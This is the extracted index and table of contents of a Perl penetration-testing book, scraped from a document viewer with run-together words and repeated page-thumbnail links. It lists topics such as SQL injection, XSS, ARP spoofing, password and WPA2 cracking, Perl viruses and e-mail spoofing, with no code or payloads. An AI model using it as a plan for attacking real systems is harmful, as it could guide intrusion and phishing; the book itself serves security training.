PerlDocURL/ParallelprocessinginPerl
PerlLinux/Unixvirusesabout/PerlLinux/Unixvirusesoptimization,fortrust/Optimizationfortrustvirusreplication/Virusreplication
PerlmoduleURL/Traceroute
PerlmodulesNet**Pcap/DesigningourownlivehostscannerNet**Frame**Device/DesigningourownlivehostscannerNet**Netmask/DesigningourownlivehostscannerNet**Frame**Dump**Online/DesigningourownlivehostscannerNet**ARP/DesigningourownlivehostscannerNet**Frame**Simple/DesigningourownlivehostscannerNetPacket**Ethernet/DesigningourownportscannerNet**RawIP/DesigningourownportscannerNetPacket**TCP/DesigningourownportscannerNetPacket**IP/Designingourownportscanner
Perloperatorsm//matchingoperator/ThePerlm//matchingoperators///substitutionoperator/ThePerls///substitutionoperator
Perlprogramworking/Digitalcredentialanalysis
Perlstringfunctions
![Page 350: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/350.jpg)
split()function/Regularexpressionsandthesplit()functiongrep()function/Regularexpressionsandthegrep()function
portscannerdesigning/Designingourownportscanner
print()function/Forkingprocessesintheshellprintfcommand/Built-inbashcommandsprobing
versusRFMON/RFMONversusprobingprocesses
inshell,forking/ForkingprocessesintheshellProcessID(PID)/KillingrunawayforkedprocessesPseudo-RandomFunction(PRF)/802.11EAPOLMessage1PTES
about/Moreintelligence,Whoisthisfor?
![Page 351: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/351.jpg)
Q
quantifiersabout/Quantifiersatleastonequantifier(+)/Quantifiers
![Page 352: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/352.jpg)
R
RadiotapHeaderabout/802.11frameheadersWiresharkutilityused/802.11frameheaders
rangedcharacterclasses/Rangedcharacterclassesrcode()method/TheDIGqueryread-onlytext(ROText)widget/TheGUIhostdiscoverytoolreadcommand/Built-inbashcommandsReceivedSignalStrengthIndicator(RSSI)/802.11frameheadersReceivedSignalStrengthIndicator(RSSI)/802.11frameheadersrecords
obtaining/ObtainingrecordsreflectedXSS
about/ThereflectedXSSregularexpressions
about/Regularexpressionsliterals,versusmetacharacters/Literalsversusmetacharactersquantifiers/Quantifiersanchors/Anchorscharacterclasses/Characterclassestext(strings),grouping/Groupingtext(strings)backreferences/Backreferencessplit()function,usingwith/Regularexpressionsandthesplit()functiongrep()function,usingwith/Regularexpressionsandthegrep()function
reports,penetrationtestingExecutiveReport/ExecutiveReportTechnicalReport/TechnicalReport
retByteStr()subroutine/Writingan802.11protocolanalyzerinPerlRFI
about/RemoteFileInclusionRFMON
versusprobing/RFMONversusprobingabout/RFMONversusprobing
runawayforkedprocesseskilling/Killingrunawayforkedprocesses
![Page 353: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/353.jpg)
S
s///substitutionoperatorabout/ThePerls///substitutionoperator
saltedhashesabout/SaltedhashesLinuxpasswords/Linuxpasswords
scanningtools/Commontoolsforscanning
scanningtoolsARP/AddressResolutionProtocolscanningtoolsSMBinformationtools/ServerMessageBlockinformationtools
sendARP()subroutine/ARPspoofingwithPerl,Networkremappingwithpacketcapturesendmail()function/UsingtheMail::SendmailPerlmoduleserverinformation
gathering/GatheringserverinformationServerMessageBlockinformationtools/ServerMessageBlockinformationtoolsservicediscovery/ServicediscoverySHA1cracking
about/CrackingSHA1andMD5using,withPerl/SHA1crackingwithPerl
Shodan/Shodansitekeyword/Google+sleep()function/Time-basedblindSQLinjectionsmallofficehomeoffice(SOHO)/Designingourownportscanner,ARPspoofingwithPerlSMB
about/ServerMessageBlockinformationtoolsSMBscanner
writing/WritinganSMBscannersocialmedia
used,fore-mailaddressgathering/Usingsocialmediafore-mailaddressgathering
socialmedia,fore-mailaddressgatheringGoogle+/Google+LinkedIn/LinkedInFacebook/Facebook
spearphishingabout/Spearphishing
split()function/Regularexpressionsandthesplit()function,Obtainingrecordsusing,withregularexpressions/Regularexpressionsandthesplit()function
sprintf()function/PacketlayersSQLcolumncounting/SQLcolumncountingSQLinjection
![Page 354: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/354.jpg)
about/SQLinjectionGETrequests/GETrequestsSQLcolumncounting/SQLcolumncounting
SSHcredentialinformation,gatheringfrom/PerlLinux/Unixviruses
SSLStrip/Theapplicationlayerabout/MitM
stdoutabout/Input/outputstreams
STDOUTpiping/STDOUTpipingsticky/WidgetsandthegridstringSQLinjection/StringSQLinjectionsubstr()function/Packetlayerssubstring()function/Time-basedblindSQLinjectionsystem()function/Forkingprocessesintheshell
![Page 355: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/355.jpg)
T
$tintegertoken/Bruteforceenumeration$totalTablesinteger/Obtainingrecords%tagNumshash/Writingan802.11protocolanalyzerinPerl@tablesarray/ObtainingrecordstabbedGUIenvironment
about/AtabbedGUIenvironmenttableresultsets
obtaining/ObtainingtableresultsetsTABLE_SCHEMA/ObtainingtableresultsetsTABLE_ROWS/ObtainingtableresultsetsTABLE_NAME/Obtainingtableresultsets
TCPabout/InternetControlMessageProtocolversusTransmissionControlProtocolversusARPdiscovery
tcpdumpURL/Designingourownlivehostscanner
TechnicalReportabout/TechnicalReport
text(strings)grouping/Groupingtext(strings)
thencommand/Built-inbashcommandstime-basedblindSQLinjection
about/Time-basedblindSQLinjectiontraceroute/TracerouteTXT
versusCSV/CSVversusTXT
![Page 356: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/356.jpg)
U
unpack()function/PerlLinux/UnixvirusesURL
encoding/URLencodingURL-encodedsymbols
%3A/Google+%2B/Google+
![Page 357: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/357.jpg)
V
VirtualLocalAreaNetwork(VLAN)/InternetControlMessageProtocolversusTransmissionControlProtocolversusARPdiscovery
![Page 358: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/358.jpg)
W
4-WayHandshakeabout/Four-wayHandshake802.11EAPOLMessage1/802.11EAPOLMessage1802.11EAPOLMessage2/802.11EAPOLMessage2
802.11wirelessnetworkingutilitiesabout/Linuxwirelessutilities
webservicediscoveryabout/Webservicediscoveryservicediscovery/Servicediscoveryfilediscovery/Filediscovery
whilecommand/Built-inbashcommandsWhoisquery/TheWhoisquerywidget
about/Widgetsandthegridwirelessintrusiondetectionsystem(WIDS)
about/RFMONversusprobingwirelessnetworkinterfacecard(WNIC)drivers
about/LinuxwirelessutilitiesWordPress
about/ContentmanagementsystemsWPA2passphrasecracking
using,withPerl/WPA2passphrasecrackingwithPerl,ThePerlWPA2crackingprogram4-WayHandshake/Four-wayHandshake
![Page 359: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/359.jpg)
X
XSSabout/Cross-sitescriptingreflectedXSS/ThereflectedXSSURL,encoding/URLencoding
XSSattackenhancing/EnhancingtheXSSattackcaveats/XSScaveatsandhintshints/XSScaveatsandhints
![Page 360: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/360.jpg)
Z
zero/QuantifiersZIPfilepasswords
cracking/CrackingZIPfilepasswordszonetransfers/Zonetransfers
![Page 361: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/361.jpg)
TableofContentsPenetrationTestingwithPerl
Credits
AbouttheAuthor
AbouttheReviewers
www.PacktPub.com
Supportfiles,eBooks,discountoffers,andmore
Whysubscribe?
FreeaccessforPacktaccountholders
Preface
Whatthisbookcovers
Whatyouneedforthisbook
Whothisbookisfor
Conventions
Readerfeedback
Customersupport
Downloadingtheexamplecode
Errata
Piracy
Questions
1.PerlProgramming
Files
Regularexpressions
Literalsversusmetacharacters
Quantifiers
Anchors
Characterclasses
Rangedcharacterclasses
Groupingtext(strings)
Backreferences
Perlstringfunctionsandoperators
ThePerlm//matchingoperator
![Page 362: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/362.jpg)
ThePerls///substitutionoperator
Regularexpressionsandthesplit()function
Regularexpressionsandthegrep()function
CPANPerlmodules
CPANminus
Summary
2.LinuxTerminalOutput
Built-inbashcommands
Variableexpansion,grouping,andarguments
Scriptexecutionfrombash
Input/outputstreams
Outputtofiles
Inputredirection
Outputtoaninputstream
Errorhandlingwiththeshell
Basicbashprogramming
Forkingprocessesintheshell
Killingrunawayforkedprocesses
BashcommandexecutionfromPerl
Summary
3.IEEE802.3WiredNetworkMappingwithPerl
Footprinting
Internetfootprinting
Commontoolsforscanning
AddressResolutionProtocolscanningtools
ServerMessageBlockinformationtools
Internet Control Message Protocol versus Transmission Control Protocol versus ARPdiscovery
Designingourownlivehostscanner
Designingourownportscanner
WritinganSMBscanner
Bannergrabbing
Abruteforceapplication
![Page 363: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/363.jpg)
Summary
4.IEEE802.3WiredNetworkManipulationwithPerl
Packetcapturing
Packetcapturefiltering
Packetlayers
Theapplicationlayer
MitM
ARPspoofingwithPerl
Enablingpacketforwarding
Networkremappingwithpacketcapture
Summary
5.IEEE802.11WirelessProtocolandPerl
802.11terminologiesandpacketanalysis
Managementframes
Controlanddataframes
Linuxwirelessutilities
RFMONversusprobing
802.11packetcapturingwithPerl
802.11frameheaders
Writingan802.11protocolanalyzerinPerl
PerlandAircrack-ng
Summary
6.OpenSourceIntelligence
What’scovered
Googledorks
E-mailaddressgathering
UsingGooglefore-mailaddressgathering
Usingsocialmediafore-mailaddressgathering
Google+
DomainNameServices
![Page 364: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/364.jpg)
TheWhoisquery
TheDIGquery
Bruteforceenumeration
Zonetransfers
Traceroute
Shodan
Moreintelligence
Summary
7.SQLInjectionwithPerl
Webservicediscovery
Servicediscovery
Filediscovery
SQLinjection
GETrequests
IntegerSQLinjection
StringSQLinjection
SQLcolumncounting
MySQLpostexploitation
Discoveringthecolumncount
Gatheringserverinformation
Obtainingtableresultsets
Obtainingrecords
Data-drivenblindSQLinjection
Time-basedblindSQLinjection
Summary
8.OtherWeb-basedAttacks
Cross-sitescripting
ThereflectedXSS
URLencoding
EnhancingtheXSSattack
XSScaveatsandhints
Fileinclusionvulnerabilitydiscovery
![Page 365: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/365.jpg)
LocalFileInclusion
Logfilecodeinjection
RemoteFileInclusion
Contentmanagementsystems
Summary
9.PasswordCracking
Digitalcredentialanalysis
CrackingSHA1andMD5
SHA1crackingwithPerl
ParallelprocessinginPerl
MD5crackingwithPerl
Usingonlineresourcesforpasswordcracking
Saltedhashes
Linuxpasswords
WPA2passphrasecrackingwithPerl
Four-wayHandshake
802.11EAPOLMessage1
802.11EAPOLMessage2
ThePerlWPA2crackingprogram
CrackingZIPfilepasswords
Summary
10.MetadataForensics
MetadataandExif
Metadataextractor
Extractingmetadatafromimages
ExtractingmetadatafromPDFfiles
Summary
11.SocialEngineeringwithPerl
Psychology
PerlLinux/Unixviruses
Optimizationfortrust
Virusreplication
![Page 366: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/366.jpg)
Spearphishing
Spoofinge-mailswithPerl
SettingupExim4
UsingtheMail::SendmailPerlmodule
Summary
12.Reporting
Whoisthisfor?
ExecutiveReport
TechnicalReport
DocumentingwithPerl
STDOUTpiping
CSVversusTXT
GraphingwithPerl
CreatingaPDFfile
LoggingdatatoMySQL
HTMLreporting
Summary
13.Perl/Tk
Event-drivenprogramming
ExplainingthePerl/Tkwidgets
Widgetsandthegrid
TheGUIhostdiscoverytool
AtabbedGUIenvironment
Summary
Index